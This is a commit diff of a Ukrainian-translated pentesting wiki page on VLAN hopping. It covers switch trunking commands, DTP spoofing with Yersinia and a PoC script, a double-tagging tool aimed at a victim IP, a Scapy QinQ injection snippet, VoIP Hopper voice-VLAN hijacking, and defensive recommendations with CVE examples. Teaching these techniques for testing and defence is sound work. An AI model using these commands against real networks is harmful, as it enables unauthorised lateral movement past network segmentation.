Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:41:58 +00:00
parent 37e93ec791
commit f43364d743

View File

@ -10,7 +10,7 @@
``` ```
SW1(config)# show mac address-table | include 0050.0000.0500 SW1(config)# show mac address-table | include 0050.0000.0500
``` ```
Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10. Перед переходом в режим trunk слід скласти список існуючих VLAN та визначити їх ідентифікатори. Ці ідентифікатори потім призначаються інтерфейсу, що дозволяє отримувати доступ до різних VLAN через trunk. Порт, що використовується, наприклад, асоційований з VLAN 10.
``` ```
SW1# show vlan brief SW1# show vlan brief
``` ```
@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk
Потім створюються віртуальні інтерфейси, їм призначаються VLAN ID та активуються: Потім створюються віртуальні інтерфейси, їм призначаються VLAN ID та активуються:
```bash ```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10 sudo vconfig add eth0 10
sudo vconfig add eth0 20 sudo vconfig add eth0 20
sudo vconfig add eth0 50 sudo vconfig add eth0 50
@ -32,19 +33,28 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
``` ```
В подальшому запит адреси здійснюється через DHCP. Альтернативно, у випадках, коли DHCP не є життєздатним, адреси можна налаштувати вручну: В подальшому запит адреси здійснюється через DHCP. Альтернативно, у випадках, коли DHCP не є життєздатним, адреси можна налаштувати вручну:
```bash ```bash
sudo dhclient -v eth0.10 sudo dhclient -v eth0.10
sudo dhclient -v eth0.20 sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
``` ```
Приклад ручного налаштування статичної IP-адреси на інтерфейсі (VLAN 10): Приклад ручного налаштування статичної IP-адреси на інтерфейсі (VLAN 10):
```bash ```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
``` ```
З'єднання тестується шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60. З'єднання перевіряється шляхом ініціювання ICMP запитів до стандартних шлюзів для VLAN 10, 20, 50 та 60.
Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій. Врешті-решт, цей процес дозволяє обійти сегментацію VLAN, що полегшує необмежений доступ до будь-якої VLAN мережі та створює умови для подальших дій.
@ -52,7 +62,7 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора) ## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)
Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки на рівні 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора: Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки рівня 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP) ### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)
@ -61,22 +71,29 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
*Yersinia* та кілька PoC автоматизують процес: *Yersinia* та кілька PoC автоматизують процес:
```bash ```bash
# Become a trunk using Yersinia (GUI) # Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof) # Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
``` ```
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити піворот, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*: Допомога розвідки (пасивно визначити стан DTP порту):
```bash ```bash
sudo modprobe 8021q sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
``` ```
Якщо порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і перемикатися точно так, як показано в попередньому розділі.
### 2. Подвійне тегування (Зловживання Native-VLAN) ### 2. Подвійне тегування (Зловживання Native-VLAN)
Якщо зловмисник знаходиться на **native (нетегованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може "перепригнути" на другий VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2024), автоматизують ін'єкцію: Якщо зловмисник знаходиться на **native (негатованому) VLAN**, спеціально підготовлений кадр з *двома* заголовками 802.1Q може перейти до другого VLAN, навіть коли порт заблокований в режимі доступу. Інструменти, такі як **VLANPWN DoubleTagging.py** (оновлення 2022-2025), автоматизують ін'єкцію:
```bash ```bash
python3 DoubleTagging.py \ python3 DoubleTagging.py \
--interface eth0 \ --interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \ --victim 10.10.20.24 \
--attacker 10.10.1.54 --attacker 10.10.1.54
``` ```
Проходження пакета: ### 3. QinQ (802.1ad) Stacking
1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.
Ця техніка все ще працює в 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри. Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію сервіс-провайдера. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині провайдера (S-tag), щоб перетнути зони безпеки. Захопіть для ethertype `0x88a8` і спробуйте видалити зовнішній тег за допомогою Scapy:
### 3. QinQ (802.1ad) Стекування
Багато корпоративних ядер підтримують *Q-in-Q* інкапсуляцію постачальника послуг. Де це дозволено, зловмисник може тунелювати довільний трафік з тегом 802.1Q всередині постачальника (S-тег), щоб перетнути зони безпеки. Захопіть для 802.1ad ethertype 0x88a8 і спробуйте видалити зовнішній тег за допомогою Scapy:
```python ```python
from scapy.all import * from scapy.all import *
outer = 100 # Service tag outer = 100 # Service tag
@ -102,6 +113,22 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0") sendp(frame, iface="eth0")
``` ```
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
Корпоративні порти доступу часто знаходяться в конфігурації *“access + voice”*: немічений data VLAN для робочої станції та мічений voice VLAN, який рекламується через CDP або LLDP-MED. Імітуючи IP-телефон, зловмисник може автоматично виявити та перейти в VoIP VLAN — навіть коли DTP вимкнено.
*VoIP Hopper* (упакований у Kali 2025.2) підтримує CDP, DHCP options **176/242** та повне імітування LLDP-MED:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
Техніка обминає розділення даних/голосу і є надзвичайно поширеною на підприємницьких крайових комутаторах у 2025 році, оскільки LLDP авто-політика увімкнена за замовчуванням на багатьох моделях.
--- ---
## Рекомендації щодо захисту ## Рекомендації щодо захисту
@ -109,8 +136,20 @@ sendp(frame, iface="eth0")
1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`. 1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`.
2. Змініть рідний VLAN на кожному транку на **невикористовуваний, чорний дірковий VLAN** і позначте його: `vlan dot1q tag native`. 2. Змініть рідний VLAN на кожному транку на **невикористовуваний, чорний дірковий VLAN** і позначте його: `vlan dot1q tag native`.
3. Виріжте непотрібні VLAN на транках: `switchport trunk allowed vlan 10,20`. 3. Виріжте непотрібні VLAN на транках: `switchport trunk allowed vlan 10,20`.
4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2. 4. Застосовуйте безпеку портів, DHCP snooping, динамічну перевірку ARP **та 802.1X**, щоб обмежити діяльність зловмисних Layer-2.
5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q. 5. Вимкніть авто голосові політики LLDP-MED (або заблокуйте їх для автентифікованих MAC OUI), якщо підробка IP-телефонів не потрібна.
6. Віддавайте перевагу приватним VLAN або L3 сегментації замість того, щоб покладатися лише на розділення 802.1Q.
---
## Вразливості постачальників у реальному світі (2022-2024)
Навіть ідеально захищена конфігурація комутатора може бути підірвана помилками в прошивці. Останні приклади включають:
* **CVE-2022-20728† Cisco Aironet/Catalyst Access Points** дозволяють ін'єкцію з рідного VLAN у не рідні WLAN VLAN, обминаючи дротове/безпровідне сегментування.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** дозволяє обхід ACL на SVI після перемикання Resilient Ethernet Protocol, витікаючи трафік між VRF/VLAN. Патч 17.9.5 або новіший.
Завжди стежте за рекомендаціями постачальника щодо проблем обмивання/ACL, пов'язаних з VLAN, і підтримуйте актуальність образів інфраструктури.
--- ---
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN> - VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Що таке VLAN Hopping?" (Серпень 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping> - Twingate "Що таке VLAN Hopping?" (Серпень 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper project <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}